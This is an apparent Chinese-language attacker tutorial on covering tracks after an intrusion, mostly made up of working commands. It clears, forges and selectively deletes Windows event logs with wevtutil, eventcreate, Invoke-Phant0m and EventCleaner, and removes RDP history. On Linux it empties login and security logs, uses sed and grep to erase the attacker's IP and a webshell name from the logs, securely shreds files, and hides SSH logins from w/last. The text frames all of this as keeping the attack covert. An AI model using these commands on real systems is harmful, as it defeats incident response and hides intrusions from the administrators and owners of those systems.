WINDOWS 日志

Windows日志有许多细分类:

windows事件日志,IIS日志,FTP日志,防火墙日志等等。

事件查看器

windows系统自带一个叫做事件查看器的工具,它可以分析所有的windows系统日志。

运行->eventvwr 即可打开。

它把日志分为了两种,一个是WINDOWS日志,一个是“应用程序和服务日志”

事件查看器内置有三个核心日志文件:SYSTEM,SECURITY,APPLICATION。他们的默认最大容量为20MB.

事件类型

事件查看器把时间分类为了五种类型:

信息(Information)

信息事件指应用程序、驱动程序或服务的成功操作的事件。

警告(Warning)

警告事件指不是直接的、主要的,但是会导致将来问题发生的问题。例如,当磁盘空间不足或未找到打印机时,都会记录一个“警告”事件。

错误(Error)

错误事件指用户应该知道的重要的问题。错误事件通常指功能和数据的丢失。例如,如果一个服务不能作为系统引导被加载,那么它会产生一个错误事件。

成功审核(Success audit)

成功的审核安全访问尝试,主要是指安全性日志,这里记录着用户登录/注销、对象访问、特权使用、账户管理、策略更改、详细跟踪、目录服务访问、账户登录等事件,例如所有的成功登录系统都会被记录为“ 成功审核”事件。

失败审核(Failure audit)

失败的审核安全登录尝试,例如用户试图访问网络驱动器失败,则该尝试会被作为失败审核事件记录下来。

删除日志

Windows并没有直接提供删除特点日志的功能,事件查看器也只提供了一个清除日志的选项,原因是日志记录的ID是连续的,默认的排序方式是从大到小往下排列。

清空日志

暴力一点,可以直接把日志全部删除。

开始→运行,输入 eventvwr 进入事件查看器,右边栏选择清除日志。

或者通过powershell选定日志删除

CODE

(a)PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security,'windows powershell'}"
(b)Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}

嫌powershell太长可以用wevtutil

CODE

wevtutil el             列出系统中所有日志名称
wevtutil cl system      清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security    清理安全日志

日志伪造

可以通过eventcreate这个自带工具伪造日志或者自定义大量垃圾信息覆盖现有日志(日志最大容量20MB)

CODE

eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

暂停日志记录

可以通过工具https://github.com/hlldz/Invoke-Phant0m,来使日志记录终止。这个工具仅支持X64

该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。因此,系统将无法收集日志。

随后新增用户,发现日志中无记录,看来日志记录确实是被终止了。

单条日志清除

https://github.com/QAX-A-Team/EventCleaner

这个工具也可以暂停日志线程停止日志记录,同时也可以恢复日志线程。但是更重要的是它可以删除单挑日志记录

官方描述

  1. EventCleaner closehandle 解除 security.evtx的文件占坑
  2. EventCleaner 100 删除ID为100的日志(必须在之前使用EventCleaner closehandle)
  3. EventCleaner suspend 暂停日志线程,停止日志记录
  4. do anything without worrying about logs
  5. EventCleaner normal 恢复日志线程
  6. delete EventCleaner

各日志位置及手动清除

IIS

CODE

路径 %SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

清除WWW日志(其实并不需要停止服务都能删):

CODE

停止服务:net stop w3svc
删除日志目录下所有文件:del *.*
启用服务:net start w3svc

应用程序日志,安全日志,系统日志

CODE

%systemroot%\system32\config\AppEvent.EVT;
%systemroot%\system32\config\SecEvent.EVT;
%systemroot%\system32\config\SysEvent.EVT;

ftp

CODE

%systemroot%\system32\logfiles\msftpsvc1\

远程桌面

直接嫖脚本

CODE

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f # 删除Default中的所有值
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f # 删除整个Servers
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" 重新创建删除的注册表项
cd %userprofile%\documents\ # 转到Default.rdp文件目录
attrib Default.rdp -s -h # 更改Default.rdp文件属性,默认情况下它是隐藏
del Default.rdp  # 删除文件Default.rdp文件

彻底删除日志

如何彻底删除日志?要知道仅仅是普通的删除命令实际上是并不能做到完全删除的,很容易被找到删除文件。

Cipher 命令多次覆写

在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复。比如

刚刚删除D:\tools目录下的文件,执行cipher /w:D:\tools,D 盘上未使用空间就会被覆盖三次:一次 0x00、一次 0xFF,一次随机数,所有被删除的文件就都不可能被恢复了。

Format命令覆盖格式化

Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖。而且可以覆盖多次。比如

format D: /P:8就表示把 D 盘用随机数覆盖 8 次。

LINUX 日志

JS

/var/log/message 系统启动后的信息和错误日志,是Red Hat Linux中最常用的日志之一
/var/log/secure 与安全相关的日志信息
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/boot.log 守护进程启动和停止相关的日志消息
/var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,用last查看
/var/log/btmp   记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/utmp    记录当前已经登录的用户信息,使用w,who,users等命令查看
~/.bash_history 执行的命令,用 histroy -c 即可删除

清空日志

清除用户最后一次登录时间:echo > /var/log/lastlog #lastlog命令

清除当前登录用户的信息:echo > /var/log/utmp #使用w,who,users等命令

清除安全日志记录:cat /dev/null > /var/log/secure

清除系统日志记录:cat /dev/null > /var/log/message

诸如此类…

替换/删除部分日志

日志文件被清空会引起管理员警觉,所以可以只替换或删除关键信息,实现隐秘攻击的目的。

CODE

# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed  -i '/自己的ip/'d  /var/log/messages
# 全局替换登录IP地址:
sed -i 's/192.168.166.85/192.168.1.1/g' secure
对于WEB服务还可以这样隐藏我们的马
# 使用grep -v来把我们的相关信息删除,
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log/

彻底删除

shred

-n 指定覆写次数,默认3次

CODE

shred -f -u -z -v -n 8 1.txt

dd

这个命令用于清空文件

CODE

dd if=/dev/zero of=要删除的文件

wipe

很简单易用,但是一般不是装机自带

CODE

wipe filename

Secure-Delete

secure-delete是一个集成化工具包,收录了些安全删除文件的命令行工具。

CODE

srm filename
sfill /a   用随机数填充空闲或者可用的空间,保证没有可恢复的文件或文件夹

sswap用于安全地清除交换分区。

CODE

cat /proc/swaps 找到交换分区

CODE

sswap /www/swap

smem用于清理在内存中的内容,提供安全地内存清理:

CODE

smem

SSH隐身登录

ssh -T root@192.168.199.123 /usr/bin/bash -i

-T表示不分配伪终端,/usr/bin/bash -i 表示在登录后调用bash命令 -i 表示是交互式shel,这样登陆将不会在w/last命令结果中显示.

但是会被lsof -i:22 和 ps |grep ssh 等命令发现